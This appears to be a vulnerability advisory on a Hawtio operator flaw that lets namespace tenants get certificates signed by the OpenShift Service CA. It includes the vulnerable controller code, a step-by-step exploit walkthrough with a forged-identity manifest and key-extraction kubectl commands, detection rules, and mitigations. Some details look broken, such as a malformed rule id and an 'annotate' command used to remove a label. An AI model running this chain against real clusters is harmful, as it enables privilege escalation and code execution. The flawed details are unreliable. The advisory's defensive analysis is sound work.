CVE-2026-78234: Hawtio Operator OpenShift Service CA Signing Key Theft and Cluster Takeover
HERMES THREAT SCORE & CLUSTER-WIDE IDENTITY FORGERY
Target:OpenShift / Kubernetes Cluster — Hawtio Operator & Jolokia Service CA Fabric CVSS v3.1 rates CVE-2026-78234 as 9.9 Critical with Scope Changed (S:C) and Privileges Required Low (PR:L). Hermes Threat Score 95 (EXTREME) mirrors the catastrophic blast radius in multi-tenant enterprise clusters. OpenShift cluster defaults automatically aggregate Hawtio Custom Resource Definition (CRD) permissions into standard 'edit' and 'admin' namespace roles. Consequently, any compromised development container, developer service account, or tenant namespace user can leverage the operator as a cryptographic signing oracle to forge valid mTLS certificates for arbitrary identities, collapsing cross-namespace boundaries and taking over cluster infrastructure.
HASS AGENTIC SEVERITY & OPERATOR ORACLE ABUSE
Target:Cloud-Native Operator Automation, Service CA Signing Key & Mutual TLS Authentication From an autonomous infrastructure perspective, operators function as automated high-privilege agents reconciling desired state against cloud APIs. When an operator possesses cluster-scoped cryptographic keys but delegates parameter configuration to untrusted namespaced tenants without rigorous subject validation, it functions as an uncontrolled signing oracle. Autonomous agent swarms operating inside a Kubernetes cluster can exploit this oracle to elevate privileges to cluster-admin, pivoting across workloads without triggering standard audit alarms.
1. Technical Context & Attack Surface
Section titled “1. Technical Context & Attack Surface”In Red Hat OpenShift, the Service CA operator automatically injects TLS certificates for in-cluster services and signs client certificates used for service-to-service authentication. Components like Jolokia agents, Prometheus metrics endpoints, and internal microservice gateways trust certificates signed by the Service CA root.
┌────────────────────────────────────────────────────────────────────────────────────────┐│ KUBERNETES / OPENSHIFT CLUSTER │├──────────────────────────────────────┬─────────────────────────────────────────────────┤│ TENANT NAMESPACE (dev-namespace) │ OPERATOR NAMESPACE (openshift-operators) ││ │ ││ [Attacker Pod / ServiceAccount] │ [Hawtio Operator Pod] ││ - Has 'edit' role in namespace │ - Has ClusterRole with get/list secrets ││ - Creates Hawtio Custom Resource │ - Reads 'signing-key' in openshift-service-ca ││ spec.auth.clientCert.commonName: │ ││ "system:serviceaccount:..." ───┼────────────────────────────────────────┐ ││ │ │ ││ │ Hawtio Operator Controller │ ││ │ 1. Fetches root Service CA private key │ ││ │ 2. Mints valid x509 cert for CN ───────┘ ││ │ 3. Writes cert & key to tenant Secret ││ │ ││ [Forged Client Certificate Secret] <─┼─────────────────────────────────────────────────┤│ Attacker extracts x509 cert & key │ TARGET SERVICES (cluster-wide) ││ │ - Jolokia JVM Management Agent (Port 8778) ││ │ - Internal Metrics & Administrative Endpoints ││ │ ││ Attacker connects with mTLS ─────────┼─────────────────────────────────────────────────>│ -> IMPERSONATION SUCCESSFUL │ -> FULL CODE INJECTION / ARBITRARY JMX ACTIONS │└──────────────────────────────────────┴─────────────────────────────────────────────────┘| Parameter | Technical Detail | Operational Impact |
|---|---|---|
| CVE Identifier | CVE-2026-78234 | Red Hat Advisory RHSA-2026:66120 / Bugzilla 2524894 |
| Vulnerability Class | Improper Certificate Validation (CWE-295), Access Control Failure (CWE-284) | Cluster-wide Service Impersonation & Privilege Escalation |
| Vulnerable Component | hawtio-operator reconciliation controller (pkg/controller/hawtio) | Automated cryptographic certificate provisioning |
| Trigger Vectors | Creation of a Hawtio Custom Resource with a forged commonName | Namespaced edit or admin RBAC role |
| Authentication Required | Low (PR:L) — any namespace tenant with standard developer access | Cross-namespace privilege escalation |
| Impact | Arbitrary JVM command execution via Jolokia, cluster-wide mTLS bypass | Complete compromise of managed workloads and secrets |
| Affected Versions | < 4.0.1 (Operator) / < 4.4.1 (HawtIO) | All clusters utilizing the Hawtio OpenShift operator |
| Remediated Release | Hawtio Operator 4.0.1 / HawtIO 4.4.1 | Official Red Hat container registry and OperatorHub |
2. Root Cause Analysis & Exploit Mechanics
Section titled “2. Root Cause Analysis & Exploit Mechanics”The vulnerability is rooted in two intersecting design issues: an overly broad ClusterRole granting access to cluster secrets, and the total lack of Subject Alternative Name (SAN) and Common Name (CN) validation during certificate minting.
Flaw 1: Access to the Service CA Private Signing Key
Section titled “Flaw 1: Access to the Service CA Private Signing Key”To facilitate communication between the Hawtio web client and managed Jolokia endpoints, the Hawtio operator was assigned the following ClusterRole:
apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRolemetadata: name: hawtio-operatorrules: - apiGroups: [""] resources: ["secrets"] verbs: ["get", "list", "create", "update", "watch"]This permission allowed the operator pod to retrieve the secret signing-key in the openshift-service-ca namespace. The secret contains the unencrypted ECDSA/RSA private key of the cluster’s internal certificate authority.
Flaw 2: The Unvalidated Signing Oracle
Section titled “Flaw 2: The Unvalidated Signing Oracle”When a user declares a Hawtio custom resource, the operator controller reconciles the manifest and generates the client TLS secret:
// Vulnerable controller logic in hawtio-operatorfunc (r *ReconcileHawtio) reconcileClientCertificate(hawtio *hawtioov1alpha1.Hawtio) error { caSecret, err := r.client.CoreV1().Secrets("openshift-service-ca").Get(context.TODO(), "signing-key", metav1.GetOptions{}) if err != nil { return err }
caCert, caKey := parseCASecret(caSecret)
// FLAW: Arbitrary user-controlled CommonName without namespace binding or authorization check clientCN := hawtio.Spec.Auth.ClientCert.CommonName if clientCN == "" { clientCN = fmt.Sprintf("%s.%s.hawtio", hawtio.Name, hawtio.Namespace) }
// Mint certificate using the cluster root Service CA certBytes, keyBytes, err := generateSignedCert(clientCN, caCert, caKey)
// Write generated certificate into the user's namespace secret return r.createOrUpdateSecret(hawtio.Namespace, hawtio.Name+"-client-cert", certBytes, keyBytes)}Because clientCN can be explicitly set by the author of the CR, the attacker supplies the identity of a privileged management service or Jolokia administrative agent. The operator signs the certificate and saves it into <hawtio-name>-client-cert inside the attacker’s namespace, granting them instant access to the private key.
Flaw 3: RBAC Aggregation
Section titled “Flaw 3: RBAC Aggregation”OpenShift CRDs can aggregate permissions into system roles. The Hawtio CRD included the label rbac.authorization.k8s.io/aggregate-to-edit: "true". Consequently, any standard developer assigned the default edit role in their own project namespace automatically held full rights to create and modify Hawtio CRs.
3. Exploit Execution Flow
Section titled “3. Exploit Execution Flow”An attacker with namespace developer access executes the attack through the Kubernetes API:
- Namespace Reconnaissance: The attacker accesses a project namespace (
dev-team) via an existing service account or compromised developer token:Terminal window kubectl auth can-i create hawtios -n dev-team# Returns: yes - Adversarial Manifest Construction: The attacker crafts a Hawtio manifest specifying a target administrative service identity (e.g.,
system:serviceaccount:openshift-monitoring:prometheus-k8sor the cluster-wide Jolokia administrative CN):apiVersion: hawt.io/v1alpha1kind: Hawtiometadata:name: rogue-hawtionamespace: dev-teamspec:type: namespaceauth:clientCert:commonName: "jolokia-admin" - Triggering Reconciliation: The attacker applies the manifest via
kubectl apply -f manifest.yaml. - Oracle Execution: The
hawtio-operatorwatches the creation event, reads the Service CA private key fromopenshift-service-ca/signing-key, signs the requested x509 certificate forCN=jolokia-admin, and deposits it indev-team/rogue-hawtio-client-cert. - Private Key Extraction: The attacker reads the secret from their namespace:
Terminal window kubectl get secret rogue-hawtio-client-cert -n dev-team -o jsonpath='{.data.tls\.crt}' | base64 -d > client.crtkubectl get secret rogue-hawtio-client-cert -n dev-team -o jsonpath='{.data.tls\.key}' | base64 -d > client.key - Cross-Cluster Lateral Movement: Armed with a valid Service CA certificate, the attacker establishes mTLS connections to internal Jolokia ports (
https://<pod-ip>:8778/jolokia/) across any namespace, invoking JMX MBeans to execute arbitrary Java code and seize host control.
4. Forensic Investigation & Telemetry
Section titled “4. Forensic Investigation & Telemetry”Investigating CVE-2026-78234 focuses on Kubernetes API server audit logs, Secret access telemetry, and Jolokia proxy access records.
Kubernetes Audit Log Analysis
Section titled “Kubernetes Audit Log Analysis”- Hawtio Custom Resource Creation: Inspect the Kubernetes API audit log for creation or update events of
hawtios.hawt.iowhere the requestedcommonNamedeviates from standard namespace naming patterns:{"verb": "create","user": { "username": "developer@corp.local" },"objectRef": { "resource": "hawtios", "namespace": "dev-team", "name": "rogue-hawtio" },"requestObject": {"spec": { "auth": { "clientCert": { "commonName": "jolokia-admin" } } }}} - Service CA Secret Access: Review access logs for
secretsinopenshift-service-ca. While the Hawtio operator legitimate account will read this secret, look for correlated Hawtio CR creations in tenant namespaces immediately preceding the read event.
Workload & Network Telemetry
Section titled “Workload & Network Telemetry”- Jolokia mTLS Verification: Review application logs for pods hosting Jolokia agents (e.g., Camel, Quarkus, Spring Boot pods). Hunt for successful mTLS connections originating from unexpected pod IP ranges or unauthorized namespace subnets.
- JMX Execution Artifacts: Monitor for anomalous JMX calls via Jolokia such as
java.lang:type=Runtime.execor JMX operations loading remote MBeans (javax.management.loading.MLet).
5. Detection Engineering
Section titled “5. Detection Engineering”title: Suspicious CommonName in Hawtio Custom Resource Creationid: e8417823-7823-4c92-9112-78234cve2026status: experimentaldescription: Detects creation or modification of Hawtio CRs with non-standard CommonNames, indicating exploit attempts of CVE-2026-78234.references: - https://nvd.nist.gov/vuln/detail/CVE-2026-78234 - https://access.redhat.com/errata/RHSA-2026:66120author: Hermes Codex Cyber Threat Intelligencedate: 2026-09-21logsource: category: application product: kubernetes service: auditdetection: selection_api: objectRef.apiGroup: 'hawt.io' objectRef.resource: 'hawtios' verb: - 'create' - 'update' - 'patch' selection_suspicious_cn: requestObject.spec.auth.clientCert.commonName|contains: - 'admin' - 'system:' - 'root' - 'jolokia' - 'cluster' condition: selection_api and selection_suspicious_cnfalsepositives: - Approved administrative deployments explicitly configuring global monitoring dashboardslevel: criticaltags: - attack.privilege_escalation - attack.t1548 - cve.2026-78234-- Splunk: Hunt for Hawtio CR creation with anomalous CommonNames in K8s Audit Logsindex=k8s_audit sourcetype="kube:audit"| spath path="objectRef.resource" output=resource| spath path="objectRef.apiGroup" output=apiGroup| spath path="requestObject.spec.auth.clientCert.commonName" output=requested_cn| spath path="user.username" output=request_user| spath path="objectRef.namespace" output=target_namespace| search resource="hawtios" apiGroup="hawt.io" requested_cn=*| eval expected_prefix = target_namespace + "."| where NOT like(requested_cn, expected_prefix + "%")| table _time, request_user, target_namespace, requested_cn, responseStatus.code
-- Elasticsearch: Detect Service CA Secret reads correlated with Hawtio CR updatesobjectRef.namespace:"openshift-service-ca" AND objectRef.name:"signing-key" AND user.username:*hawtio-operator*6. Mitigation & Hardening
Section titled “6. Mitigation & Hardening”Immediate Remediation
Section titled “Immediate Remediation”- Upgrade Operator: Immediately update
hawtio-operatorto version 4.0.1 or later, and HawtIO images to 4.4.1+ (Red Hat advisory RHSA-2026:66120). The patched operator no longer reads the cluster Service CA signing key and delegates certificate management to the Kubernetes Certificates API (certificates.k8s.io) with strict signer validation. - Revoke Aggregated RBAC: If immediate patching is not possible, remove the aggregated edit and admin cluster role bindings to prevent standard users from creating Hawtio resources:
Terminal window kubectl annotate crd hawtios.hawt.io rbac.authorization.k8s.io/aggregate-to-edit-kubectl annotate crd hawtios.hawt.io rbac.authorization.k8s.io/aggregate-to-admin-
Architectural Hardening
Section titled “Architectural Hardening”- Kubernetes Admission Control: Deploy an admission policy (Kyverno or OPA Gatekeeper) enforcing that
spec.auth.clientCert.commonNamemust match<metadata.name>.<metadata.namespace>.hawtioor be rejected. - PKI Segmentation: Avoid using cluster-wide Service CAs for application-level monitoring consoles. Enforce dedicated, short-lived certificate signers scoped strictly to individual workloads. Review our technical analysis: Active Directory Certificate Services & PKI Exploitation.
7. Strategic Cross-References & Internal Links
Section titled “7. Strategic Cross-References & Internal Links”SOURCES
Section titled “SOURCES”- Red Hat Security Advisory: RHSA-2026:66120
- Red Hat Bugzilla: Bug 2524894
- NIST National Vulnerability Database: CVE-2026-78234 Detail
- CIRCL Vulnerability Tracking: CVE-2026-78234